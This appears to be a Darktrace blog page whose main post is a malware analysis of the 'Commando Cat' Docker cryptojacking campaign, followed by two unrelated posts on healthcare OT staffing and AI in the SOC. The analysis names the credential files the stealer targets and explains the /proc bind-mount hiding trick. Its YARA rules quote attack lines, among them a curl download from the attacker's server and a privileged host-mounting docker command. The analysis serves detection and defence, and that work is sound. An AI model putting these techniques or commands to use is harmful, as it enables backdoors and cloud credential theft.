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January 2, 2024

The Nine Lives of Commando Cat: Analyzing a Novel Malware Campaign Targeting Docker

"Commando Cat" is a novel cryptojacking campaign exploiting exposed Docker API endpoints. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
Default blog image
02
Jan 2024

Summary

  • Commando Cat is a novel cryptojacking campaign exploiting Docker for Initial Access
  • The campaign deploys a benign container generated using the Commando Project [1]
  • The attacker escapes this container and runs multiple payloads on the Docker host
  • The campaign deploys a credential stealer payload, targeting Cloud Service Provider credentials (AWS, GCP, Azure)
  • The other payloads exhibit a variety of sophisticated techniques, including an interesting process hiding technique (as discussed below) and a Docker Registry blackhole

Introduction: Commando cat

Cado Security labs (now part of Darktrace) encountered a novel malware campaign, dubbed “Commando Cat”, targeting exposed Docker API endpoints. This is the second campaign targeting Docker since the beginning of 2024, the first being the malicious deployment of the 9hits traffic exchange application, a report which was published only a matter of weeks prior. [2]

Attacks on Docker are relatively common, particularly in cloud environments. This campaign demonstrates the continued determination attackers have to exploit the service and achieve a variety of objectives. Commando Cat is a cryptojacking campaign leveraging Docker as an initial access vector and (ab)using the service to mount the host’s filesystem, before running a series of interdependent payloads directly on the host. 

As described in the coming sections, these payloads are responsible for registering persistence, enabling a backdoor, exfiltrating various Cloud Service Provider credential files and executing the miner itself. Of particular interest are a number of evasion techniques exhibited by the malware, including an unusual process hiding mechanism. 

Initial access

The payloads are delivered to exposed Docker API instances over the Internet by the IP 45[.]9.148.193 (which is the same as C2). The attacker instructs Docker to pull down a Docker image called cmd.cat/chattr. The cmd.cat (also known as Commando) project “generates Docker images on-demand with all the commands you need and simply point them by name in the docker run command.” 

It is likely used by the attacker to seem like a benign tool and not arouse suspicion.

The attacker then creates the container with a custom command to execute:

Container image with custom command to execute
Figure 1: Container with custom command to execute

It uses the chroot to escape from the container onto the host operating system. This initial command checks if the following services are active on the system:

  • sys-kernel-debugger
  • gsc
  • c3pool_miner
  • Dockercache

The gsc, c3pool_miner, and dockercache services are all created by the attacker after infection. The purpose of the check for sys-kernel-debugger is unclear - this service is not used anywhere in the malware, nor is it part of Linux. It is possible that the service is part of another campaign that the attacker does not want to compete with.

Once these checks pass, it runs the container again with another command, this time to infect it:

Container with infect command
Figure 2: Container with infect command

This script first chroots to the host, and then tries to copy any binaries named wls or cls to wget and curl respectively. A common tactic of cryptojacking campaigns is that they will rename these binaries to evade detection, likely the attacker is anticipating that this box was previously infected by a campaign that renamed the binaries to this, and is undoing that. The attacker then uses either wget or curl to pull down the user.sh payload.

This is repeated with the sh parameter changed to the following other scripts:

  • tshd
  • gsc
  • aws

In addition, another payload is delivered directly as a base64 encoded script instead of being pulled down from the C2, this will be discussed in a later section.

user.sh

The primary purpose of the user.sh payload is to create a backdoor in the system by adding an SSH key to the root account, as well as adding a user with an attacker-known password.

On startup, the script changes the permissions and attributes on various system files such as passwd, shadow, and sudoers in order to allow for the creation of the backdoor user:

Script
Figure 3

It then calls a function called make_ssh_backdoor, which inserts the following RSA and ED25519 SSH key into the root user’s authorized_keys file:

function make_ssh_backdoor
Figure 4

It then updates a number of SSH config options in order to ensure root login is permitted, along with enabling public key and password authentication. It also sets the AuthorizedKeysFile variable to a local variable named “$hidden_authorized_keys”, however this variable is never actually defined in the script, resulting in public key authentication breaking.

Once the SSH backdoor has been installed, the script then calls make_hidden_door. The function creates a new user called “games” by adding an entry for it directly into /etc/passwd and /etc/shadow, as well giving it sudo permission in /etc/sudoers.

The “games” user has its home directory set to /usr/games, likely as an attempt to appear as legitimate. To continue this theme, the attacker also has opted to set the login shell for the “games” user as /usr/bin/nologin. This is not the path for the real nologin binary, and is instead a copy of bash placed here by the malware. This makes the “games” user appear as a regular service account, while actually being a backdoor.

Games user
Figure 5

With the two backdoors in place, the malware then calls home with the SSH details to an API on the C2 server. Additionally, it also restarts sshd to apply the changes it made to the configuration file, and wipes the bash history.

SSH details
Figure 6

This provides the attacker with all the information required to connect to the server via SSH at any time, using either the root account with a pubkey, or the “games” user with a password or pubkey. However, as previously mentioned, pubkey authentication is broken due to a bug in the script. Consequently, the attacker only has password access to “games” in practice.

tshd.sh

This script is responsible for deploying TinyShell (tsh), an open source Unix backdoor written in C [3]. Upon launch, the script will try to install make and gcc using either apk, apt, or yum, depending on which is available. The script then pulls a copy of the tsh binary from the C2 server, compiles it, and then executes it.

Script
Figure 7

TinyShell works by listening on the host for incoming connections (on port 2180 in this case), with security provided by a hardcoded encryption key in both the client and server binaries. As the attacker has graciously provided the code, the key could be identified as “base64st”. 

A side effect of this is that other threat actors could easily scan for this port and try authenticating using the secret key, allowing anyone with the skills and resources to take over the botnet. TinyShell has been commonly used as a payload before, as an example, UNC2891 has made extensive use of TinyShell during their attacks on Oracle Solaris based systems [4].
The script then calls out to a freely available IP logger service called yip[.]su. This allows the attacker to be notified of where the tsh binary is running, to then connect to the infected machine.

Script
Figure 8

Finally, the script drops another script to /bin/hid (also referred to as hid in the script), which can be used to hide processes:

Script
Figure 9

This script works by cloning the Linux mtab file (a list of the active mounts) to another directory. It then creates a new bind mount for the /proc/pid directory of the process the attacker wants to hide, before restoring the mtab. The bind mount causes any queries to the /proc/pid directory to show an empty directory, causing tools like ps aux to omit the process. Cloning the mtab and then restoring the older version also hides the created bind mount, making it harder to detect.

The script then uses this binary to hide the tshd process.

gsc.sh

This script is responsible for deploying a backdoor called gs-netcat, a souped-up version of netcat that can punch through NAT and firewalls. It’s purpose is likely for acting as a backdoor in scenarios where traditional backdoors like TinyShell would not work, such as when the infected host is behind NAT.

Gs-netcat works in a somewhat interesting way - in order for nodes to find each other, they use their shared secret instead of IP address using the  service. This permits gs-netcat to function in virtually every environment as it circumvents many firewalls on both the client and server end. To calculate a shared secret, the script simply uses the victims IP and hostname:

Script
Figure 10

This is more acceptable than tsh from a security point of view, there are 4 billion possible IP addresses and many more possible hostnames, making a brute force harder, although still possible by using strategies such as lists of common hostnames and trying IPs from blocks known for hosting virtual servers such as AWS.

The script proceeds to set up gs-netcat by pulling it from the attacker’s C2 server, using a specific version based on the architecture of the infected system. Interestingly to note, the attacker will use the cmd.cat containers to untar the downloaded payload, if tar is not available on the system or fails. Instead of using /tmp, it also uses /dev/shm instead, which acts as a temporary file store, but memory backed instead. It is possible that this is an evasion mechanism, as it is much more common for malware to use /tmp. This also results in the artefacts not touching the disk, making forensics somewhat more difficult. This technique has been used before in BPFdoor - a high-profile Linux campaign [6].

Script
Figure 11

Once the binary has been installed, the script creates a malicious systemd service unit to achieve persistence. This is a very common method for Linux malware to obtain persistence; however not all systems use systemd, resulting in this payload being rendered entirely ineffective on these systems. $VICCS is the shared secret discussed earlier, which is stored in a file and passed to the process.

Script
Figure 12

The script then uses the previously discussed hid binary to hide the gs-netcat process. It is worth noting that this will not survive a reboot, as there is no mechanism to hide the process again after it is respawned by systemd.

Script
Figure 13

Finally, the malware sends the shared secret to the attacker via their API, much like how it does with SSH:

Script
Figure 14

This allows the attacker to run their client instance of gs-netcat with the shared secret and gain persistent access to the infected machine.

aws.sh

The aws.sh script is a credential grabber that pulls credentials from several files on disk, as well as IMDS, and environment variables. Interestingly, the script creates a file so that once the script runs the first time, it can never be run again as the file is never removed. This is potentially to avoid arousing suspicion by generating lots of calls to IMDS or the AWS API, as well as making the keys harvested by the attacker distinct per infected machine.

The script overall is very similar to scripts that have been previously attributed to TeamTNT and could have been copied from one of their campaigns [7.] However, script-based attribution is difficult, and while the similarities are visible, it is hard to attribute this script to any particular group.

Script
Figure 15

The first thing run by the script (if an AWS environment is detected) is the AWS grabber script. Firstly, it makes several requests to IMDS in order to obtain information about the instance’s IAM role and the security credentials for it. The timeout is likely used to stop this part of the script taking a long time to run on systems where IMDS is not available. It would also appear this script only works with IMDSv1, so can be rendered ineffective by enforcing IMDSv2.

Script
Figure 16

Information of interest to the attacker, such as instance profiles, access keys, and secret keys, are then extracted from the response and placed in a global variable called CSOF, which is used throughout the script to store captured information before sending it to the API.

Next, it checks environment variables on the instance for AWS related variables, and adds them to CSOF if they are present.

Script
Figure 17

Finally, it adds the sts caller identity returned from the AWS command line to CSOF.

Next up is the cred_files function, which executes a search for a few common credential file names and reads their contents into CSOF if they are found. It has a few separate lists of files it will try to capture.

CRED_FILE_NAMES:

  • "authinfo2"
  • "access_tokens.db"
  • ".smbclient.conf"
  • ".smbcredentials"
  • ".samba_credentials"
  • ".pgpass"
  • "secrets"
  • ".boto"
  • ".netrc"
  • "netrc"
  • ".git-credentials"
  • "api_key"
  • "censys.cfg"
  • "ngrok.yml"
  • "filezilla.xml"
  • "recentservers.xml"
  • "queue.sqlite3"
  • "servlist.conf"
  • "accounts.xml"
  • "kubeconfig"
  • "adc.json"
  • "azure.json"
  • "clusters.conf" 
  • "docker-compose.yaml"
  • ".env"

AWS_CREDS_FILES:

  • "credentials"
  • ".s3cfg"
  • ".passwd-s3fs"
  • ".s3backer_passwd"
  • ".s3b_config"
  • "s3proxy.conf"

GCLOUD_CREDS_FILES:

  • "config_sentinel"
  • "gce"
  • ".last_survey_prompt.yaml"
  • "config_default"
  • "active_config"
  • "credentials.db"
  • "access_tokens.db"
  • ".last_update_check.json"
  • ".last_opt_in_prompt.yaml"
  • ".feature_flags_config.yaml"
  • "adc.json"
  • "resource.cache"

The files are then grabbed by performing a find on the root file system for their name, and the results appended to a temporary file, before the final concatenation of the credentials files is read back into the CSOF variable.

CSOF variable
Figure 18

Next up is get_prov_vars, which simply loops through all processes in /proc and reads out their environment variables into CSOF. This is interesting as the payload already checks the environment variables in a lot of cases, such as in the aws, google, and azure grabbers. So, it is unclear why they grab all data, but then grab specific portions of the data again.

Code
Figure 19

Regardless of what data it has already grabbed, get_google and get_azure functions are called next. These work identically to the AWS environment variable grabber, where it checks for the existence of a variable and then appends its contents (or the file’s contents if the variable is path) to CSOF.

Code
Figure 20

The final thing it grabs is an inspection of all running docker containers via the get_docker function. This can contain useful information about what's running in the container and on the box in general, as well as potentially providing more secrets that are passed to the container.

Code
Figure 21

The script then closes out by sending all of the collected data to the attacker. The attacker has set a username and password on their API endpoint for collected data, the purpose for which is unclear. It is possible that the attacker is concerned with the endpoint being leaked and consequently being spammed with false data by internet vigilantes, so added the authentication as a mechanism allowing them to cycle access by updating the payload and API.

Code
Figure 22

The base64 payload

As mentioned earlier, the final payload is delivered as a base64 encoded script rather than in the traditional curl-into-bash method used previously by the malware. This base64 is echoed into base64 -d, and then piped into bash. This is an extremely common evasion mechanism, with many script-based Linux threat actors using the same approach. It is interesting to note that the C2 IP used in this script is different from the other payloads.

The base64 payload serves two primary purposes, to deploy an XMRig cryptominer, and to “secure” the docker install on the infected host.

When it is run, the script looks for traces of other malware campaigns. Firstly, it removes all containers that have a command of /bin/bash -c 'apt-get or busybox, and then it removes all containers that do not have a command that contains chroot (which is the initial command used by this payload).

Code
Figure 23

Next, it looks for any services named “c3pool_miner” or “moneroocean_miner” and stops & disables the services. It then looks for associated binaries such as /root/c3pool/xmrig and /root/moneroocean/xmrig and deletes them from the filesystem. These steps are taken prior to deploying their own miner, so that they aren't competing for CPU time with other threat actors.

Once the competing miners have been killed off, it then sets up its own miner. It does this by grabbing a config and binary from the C2 server and extracting it to /usr/sbin. This drops two files: docker-cache and docker-proxy.

The docker-proxy binary is a custom fork of XMRig, with the path to the attacker’s config file hardcoded in the binary. It is invoked by docker-cache, which acts as a stager to ensure it is running, while also having the functionality to update the binary, should a file with .upd be detected.

It then uses a systemd service to achieve persistence for the XMRig stager, using the name docker cache daemon to appear inconspicuous. It is interesting to note that the name dockercache was also used by the Cetus cryptojacking worm .

Code
Figure 24

It then uses the hid script discussed previously to hide the docker-cache and docker-proxy services by creating a bind mount over their /proc entry. The effect of this is that if a system administrator were to use a tool like htop to try and see what process was using up the CPU on the server, they would not be able to see the process.

Finally, the attacker “secures” docker. First, it pulls down alpine and tags it as docker/firstrun (this will become clear as to why later), and then deletes any images in a hardcoded list of images that are commonly used in other campaigns.

Code
Figure 25

Next, it blackholes the docker registry by writing it's hostname to /etc/hosts with an IP of 0.0.0.0

Code
Figure 26

This completely blocks other attackers from pulling their images/tools onto the box, eliminating the risk of competition. Keeping the Alpine image named as docker/firstrun allows the attacker to still use the docker API to spawn an alpine box they can use to break back in, as it is already downloaded so the blackhole has no effect.

Conclusion

This malware sample, despite being primarily scripts, is a sophisticated campaign with a large amount of redundancy and evasion that makes detection challenging. The usage of the hid process hider script is notable as it is not commonly seen, with most malware opting to deploy clunkier rootkit kernel modules. The Docker Registry blackhole is also novel, and very effective at keeping other attackers off the box.

The malware functions as a credential stealer, highly stealthy backdoor, and cryptocurrency miner all in one. This makes it versatile and able to extract as much value from infected machines as possible. The payloads seem similar to payloads deployed by other threat actors, with the AWS stealer in particular having a lot of overlap with scripts attributed to TeamTNT in the past. Even the C2 IP points to the same provider that has been used by TeamTNT in the past. It is possible that this group is one of the many copycat groups that have built on the work of TeamTNT.

Indicators of compromise (IoCs)

Hashes

user 5ea102a58899b4f446bb0a68cd132c1d

tshd 73432d368fdb1f41805eba18ebc99940

gsc 5ea102a58899b4f446bb0a68cd132c1d

aws 25c00d4b69edeef1518f892eff918c2c

base64 ec2882928712e0834a8574807473752a

IPs

45[.]9.148.193

103[.]127.43.208

Yara Rule

rule Stealer_Linux_CommandoCat { 
 
meta: 

        description = "Detects CommandoCat aws.sh credential stealer script" 
 
        license = "Apache License 2.0" 
 
        date = "2024-01-25" 
 
        hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" 
 
    strings: 
 
        // Constants 

        $const1 = "CRED_FILE_NAMES" 
 
        $const2 = "MIXED_CREDFILES" 
 
        $const3 = "AWS_CREDS_FILES" 
 
        $const4 = "GCLOUD_CREDS_FILES" 
 
        $const5 = "AZURE_CREDS_FILES" 
 
        $const6 = "VICOIP" 
 
        $const7 = "VICHOST" 

 // Functions 
 $func1 = "get_docker()" 
 $func2 = "cred_files()" 
 $func3 = "get_azure()" 
 $func4 = "get_google()" 
 $func5 = "run_aws_grabber()" 
 $func6 = "get_aws_infos()" 
 $func7 = "get_aws_meta()" 
 $func8 = "get_aws_env()" 
 $func9 = "get_prov_vars()" 

 // Log Statements 
 $log1 = "no dubble" 
 $log2 = "-------- PROC VARS -----------------------------------" 
 $log3 = "-------- DOCKER CREDS -----------------------------------" 
 $log4 = "-------- CREDS FILES -----------------------------------" 
 $log5 = "-------- AZURE DATA --------------------------------------" 
 $log6 = "-------- GOOGLE DATA --------------------------------------" 
 $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" 
 $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" 
 $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" 
 $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" 
 $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" 

 // Paths 
 $path1 = "/root/.docker/config.json" 
 $path2 = "/home/*/.docker/config.json" 
 $path3 = "/etc/hostname" 
 $path4 = "/tmp/..a.$RANDOM" 
 $path5 = "/tmp/$RANDOM" 
 $path6 = "/tmp/$RANDOM$RANDOM" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat { 
 meta: 
 description = "Detects CommandoCat gsc.sh backdoor registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "SETPATH" 
 $const3 = "SETNAME" 
 $const4 = "SETSERV" 
 $const5 = "VICIP" 
 $const6 = "VICHN" 
 $const7 = "GSCSTATUS" 
 $const8 = "VICSYSTEM" 
 $const9 = "GSCBINURL" 
 $const10 = "GSCATPID" 

 // Functions 
 $func1 = "hidfile()" 

 // Log Statements 
 $log1 = "run gsc ..." 

 // Paths 
 $path1 = "/dev/shm/.nc.tar.gz" 
 $path2 = "/etc/hostname" 
 $path3 = "/bin/gs-netcat" 
 $path4 = "/etc/systemd/gsc" 
 $path5 = "/bin/hid" 

 // General 
 $str1 = "mount --bind /usr/foo /proc/$1" 
 $str2 = "cp /etc/mtab /usr/t" 
 $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

rule Backdoor_Linux_CommandoCat_tshd { 
 meta: 
 description = "Detects CommandoCat tshd TinyShell registration script" 
 license = "Apache License 2.0" 
 date = "2024-01-25" 
 hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" 
 strings: 
 // Constants 
 $const1 = "SRCURL" 
 $const2 = "HOME" 
 $const3 = "TSHDPID" 

 // Functions 
 $func1 = "setuptools()" 
 $func2 = "hidfile()" 
 $func3 = "hidetshd()" 

 // Paths 
 $path1 = "/var/tmp" 
 $path2 = "/bin/hid" 
 $path3 = "/etc/mtab" 
 $path4 = "/dev/shm/..tshdpid" 
 $path5 = "/tmp/.tsh.tar.gz" 
 $path6 = "/usr/sbin/tshd" 
 $path7 = "/usr/foo" 
 $path8 = "./tshd" 

 // General 
 $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" 
 $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" 

 condition: 
 filesize < 1MB and 
 all of them 
 } 

References:

  1. https://github.com/lukaszlach/commando
  2. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
  3. https://github.com/creaktive/tsh
  4. https://cloud.google.com/blog/topics/threat-intelligence/unc2891-overview/
  5. https://www.gsocket.io/
  6. https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor
  7. https://malware.news/t/cloudy-with-a-chance-of-credentials-aws-targeting-cred-stealer-expands-to-azure-gcp/71346
  8. https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

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Daniel Simonds
Director of Operational Technology

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June 9, 2026

Always On, Always Defending: Inside the AI-Driven SOC

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Today’s SOC: A system under pressure

The SOC has been described as the:

  • Control center for security systems management  
  • Operations center for log analysis and alert response
  • Command center for network monitoring and investigation

But the CISO at a manufacturer of industrial power solutions says today’s SOC is far more dynamic:

“The SOC is an active player in a never-ending chess match where the pieces are always moving, the rules are constantly changing, and we’re continuously adjusting our tactical and strategic approaches to keep up.”

This has created a balancing act for cybersecurity professionals:

  • Support expanding digital estates to fuel innovation…or risk limiting business growth
  • Stop advanced cyberattacks at scale…or risk severe financial and reputational impacts

But balancing these responsibilities is increasingly difficult. Attackers are operating at machine speed and scale using sophisticated, adaptive techniques that overwhelm teams and bypass legacy defenses. At the same time, more than half of cybersecurity teams are understaffed, and 65% have unfilled cybersecurity positions (ISACA).

“The SOC is hitting its breaking point,” admits the VP of IT at a U.S.-based risk management services provider.”

“That’s the hard reality,” affirms a Chief Digital and Technology Officer at a North American financial services organization. “SOC teams are drowning in alerts, wasting time researching the most benign incidents while missing critical threats.”

Traditional tools lack the context and autonomous reasoning needed to determine which ones are truly dangerous, requiring analysts to manually review and respond. But with thousands of alerts hitting SOCs daily, the task exceeds human capacity, with recent industry research revealing that 40% to 42% of security alerts now go uninvestigated.

“Our old governance models of throwing bodies at it, that’s not going to work,” says the Group CIO of a multinational holding company. “Attackers move at machine speed, and our defenses have to operate at the same pace. Using AI for cybersecurity is the only way to do that.”

Why AI is essential

AI is about speed, scale, and context.

SOC teams are still expected to find the proverbial “needle in a haystack”, but the haystack keeps growing. As digital infrastructures expand and threat actors use AI to rapidly scale attacks and exploit vulnerabilities, success isn’t about keeping up but changing the approach.

This is where AI comes in, enabling security teams to operate at machine speed and scale by:

  • Analyzing vast amounts of data and correlating signals across domains within seconds
  • Detecting possible threats in real time and taking immediate action to mitigate risk
  • Prioritizing threats by severity and uncovering contextual details for rapid triage

The power of AI isn’t theoretical; it is transforming how today’s businesses operate.

The Chief Digital and Technology Officer at a financial services firm says within a single month of using Darktrace, the solution tracked billions of network events, autonomously investigated tens of millions of those incidents, and added the equivalent of 1,000 analyst hours of investigation. It also found threats that bypassed traditional tools, autonomously responding to contain or disrupt the threat on over 30,000 emails, including 18,000 the firm’s native email filter missed.

When Darktrace says it “takes action on a threat,” it generally means its platform can move beyond just detecting suspicious activity and automatically respond to contain or disrupt the threat—such as isolating a device, slowing or blocking suspicious network traffic, disabling risky user activity, or triggering security workflows—depending on how the system is configured.

AI isn’t about displacing humans.

AI is a powerful tool for handling large-scale data analysis, pattern detection, and repetitive tasks, but it cannot replace human critical thinking. By removing mindless work that does not require judgment, AI frees analysts to focus on what humans do best: applying reasoning, context, and sound decision-making to complex threats.

“AI is a workforce maximizer,” says the Chief Digital and Technology Officer. “It augments our team by monitoring and detecting threats at a scale beyond human capacity while providing the critical context we need to make faster, more confident decisions.

Rather than replacing people, AI is changing how security professionals work. Analysts can reclaim time previously spent on tedious, manual triage to focus on higher priorities and proactive initiatives like advanced threat hunting, strategic risk management, and security enablement and training.

“Aside from risk mitigation, our biggest ROI is in efficiency,” says the Head of Security at global business services provider. “What used to take 90% of our investigation time is now handled automatically, so we can focus on the final 10%, which requires critical thinking."

For SOC teams under pressure, the impact can be transformative, with security leaders reporting significant real-world outcomes using Darktrace Self-Learning AITM, including:

  • Phishing emails reduced by 99%
  • 1 million+ emails autonomously analyzed each month, with no email-based incidents reported
  • Potential threats autonomously neutralized in under four seconds, on average  
  • 99% of investigations conducted autonomously, surfacing only the high-priority 1% of threats for analyst review

How AI optimizes the SOC

To protect the modern enterprise, you absolutely need the right tools,” says CTO at leading European fashion brand. “Without them you’re a victim. With them, you’re a defender. AI and the machine speed detect/response it enables makes it the most critical tool.”

Replacing chaos with clarity and control  

It’s important to note that different AI solutions address different needs. Companies should clearly understand their specific use case and select the solution that best aligns with their goals, requirements, and operational needs.  

When it comes to choosing cybersecurity in a machine-speed threat landscape, time is the most valuable resource. Organizations require AI that can move from insight to action by:

  • Learning an organization’s unique behavioral patterners
  • Correlating signals across domains to detect anomalous activity
  • Prioritizing events and autonomously responding at scale to the vast majority
  • Quarantining high-impact threats until the SOC can investigate
  • Arming analysts with deep, contextual information to accelerate investigations

“Darktrace AI gives us threat detections based on facts, not guesses,” says the Group CIO. “It moves the SOC beyond alert overload to confident, informed decision-making. When Darktrace flags something, we pay attention. False positives are very rare, so we act with speed and confidence without second-guessing.”

Replacing anxiety with confidence and peace of mind

Every missed alert can have real-world consequences.

The strain of maintaining constant vigilance at scale without holistic visibility and automation is taking its toll on security professionals: 66% report increased stress, and nearly half say it’s the reason they’re leaving the field (ISACA).

The CIO at a professional sports organization says that’s not surprising: “If you don’t know what’s going on, anything could be happening. Operating with that level of uncertainty and control is incredibly stressful.”

AI gives SOCs the power to be proactive by unifying telemetry across network, email, identity, and cloud environments to provide a complete picture and a stronger foundation for action. The benefits for analysts, both personally and professionally, are significant:

  • Achieve greater work-life balance: “Knowing that Darktrace has our backs 24/7 and will take immediate action to stop threats  means we can now work normal hours and take vacations without worrying,” says the Chief Digital and Technology Officer.
  • Feel in control with deeper insights: “It not only stops and quarantines threats but also provides the deep context we need to quickly investigate and respond,” explains the Head of Security.  
  • Gain confidence the business is protected 24/7: “We can sleep at night. With Darktrace I’m confident that even with a small team we can protect the business 24/7,” adds the former retail CIO.

The modern SOC: A system of balance

Elevated to a core pillar of business strategy, the modern SOC is now considered:

  • The nerve center of cyber risk and proactive defense
  • The AI-powered command center for operational resilience
  • The strategic hub for contextual decision-making at scale

The SOC has evolved from a reactive center responsible for managing systems into a proactive, frontline defender and strategic business enabler—integral to innovation and growth.

AI is the key to balancing these responsibilities.

“We can only grow as fast as we can secure the business,” says the Head of Security. “AI gives us the speed, scale, and confidence to do both.”

*Metrics are based on the customer’s interview, data and sourced from its monthly Cyber AI Insights reporting.

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